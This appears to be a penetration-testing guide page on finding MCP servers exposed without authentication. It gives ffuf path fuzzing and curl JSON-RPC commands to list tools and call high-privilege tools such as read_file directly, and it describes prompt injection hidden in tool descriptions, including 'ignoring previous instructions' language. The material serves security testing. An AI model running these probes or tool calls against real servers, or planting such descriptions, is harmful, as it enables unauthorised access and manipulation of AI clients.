Skip to content
HackIndex.io

Identifying Exposed MCP Surfaces

2 min read Created Mar 18, 2026 Last updated Aug 11, 2026

The Model Context Protocol (MCP) is an open standard for connecting AI models to external tools and data sources. MCP servers expose tools that AI clients can discover and invoke. When MCP servers are exposed without authentication, or when their tool definitions contain vulnerabilities, they become direct attack surfaces: an attacker can invoke tools directly without going through the AI model at all, or can craft malicious tool descriptions that influence model behavior when the server is connected to a client.

  • SSE endpoint scanning discovers exposed MCP servers by fuzzing for common paths that return text/event-stream responses without authentication.
  • Tool enumeration via initialize sends MCP JSON-RPC requests to list every tool the server exposes, including parameter schemas.
  • Direct tool invocation calls high-privilege tools like execute_command or read_file directly through the MCP protocol, bypassing the AI model entirely.
  • Prompt injection via tool descriptions checks whether tool descriptions contain instruction-like language that can influence model behavior when the server is connected to a client.

Scan for Exposed MCP Server Endpoints

MCP servers typically expose an SSE endpoint for server-sent events and a POST endpoint for JSON-RPC messages. Scan for common MCP endpoint paths:

┌──(kali㉿kali)-[~]
└─$ cat > /tmp/mcp-paths.txt << 'EOF'
mcp
mcp/sse
mcp/messages
sse
api/mcp
api/mcp/sse
api/mcp/messages
api/v1/mcp
api/v1/mcp/sse
tools
api/tools
api/v1/tools
EOF
┌──(kali㉿kali)-[~]
└─$ ffuf -u https://$TARGET_DOMAIN/FUZZ -w /tmp/mcp-paths.txt -mc 200,400,401,403,405 -H 'Accept: text/event-stream'

A 200 response with Content-Type: text/event-stream confirms an SSE endpoint. An MCP SSE endpoint that responds without authentication is directly accessible for tool enumeration and invocation.

Enumerate Available Tools via MCP Initialize

Send an MCP initialize request to discover what tools the server exposes:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$TARGET_DOMAIN/mcp/messages -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"test","version":"1.0"}}}' | python3 -m json.tool
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$TARGET_DOMAIN/mcp/messages -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}' | python3 -m json.tool 
{
    "result": {
        "tools": [
            {
                "name": "read_file",
                "description": "Read a file from the filesystem",
                "inputSchema": {"type":"object","properties":{"path":{"type":"string"}}}
            },
            {
                "name": "execute_command",
                "description": "Execute a shell command",
                "inputSchema": {"type":"object","properties":{"command":{"type":"string"}}}
            }
        ]
    }
}

A tools list response confirms the MCP server is accessible and enumerates every tool it exposes. Tools like execute_command, read_file, or database_query without authentication represent direct privilege escalation: you can invoke these tools without going through the AI model at all.

Test Direct Tool Invocation Without Authentication

Attempt to call an enumerated tool directly via the MCP protocol without authentication:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$TARGET_DOMAIN/mcp/messages -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"read_file","arguments":{"path":"/etc/hostname"}}}' | python3 -m json.tool

A successful tool call result confirms unauthenticated direct tool invocation is possible. This bypasses the AI model entirely: the attacker is calling the underlying tool directly using the MCP protocol. The impact is equivalent to having direct access to whatever the tool provides.

Check for Prompt Injection in Tool Descriptions

MCP tool descriptions are injected into the AI model's context when a client connects. Malicious tool descriptions can influence model behavior. Check whether tool descriptions contain suspicious instructions:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$TARGET_DOMAIN/mcp/messages -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}' | python3 -c "import sys,json; d=json.load(sys.stdin); [print(t['name'],'\n',t['description'],'\n') for t in d.get('result',{}).get('tools',[])]"

Tool descriptions that contain instruction-like language, references to ignoring previous instructions, or unusual formatting targeting model behavior are indicators of a prompt injection via tool description attack: relevant when assessing third-party MCP servers that a target organization has connected to their AI client.

References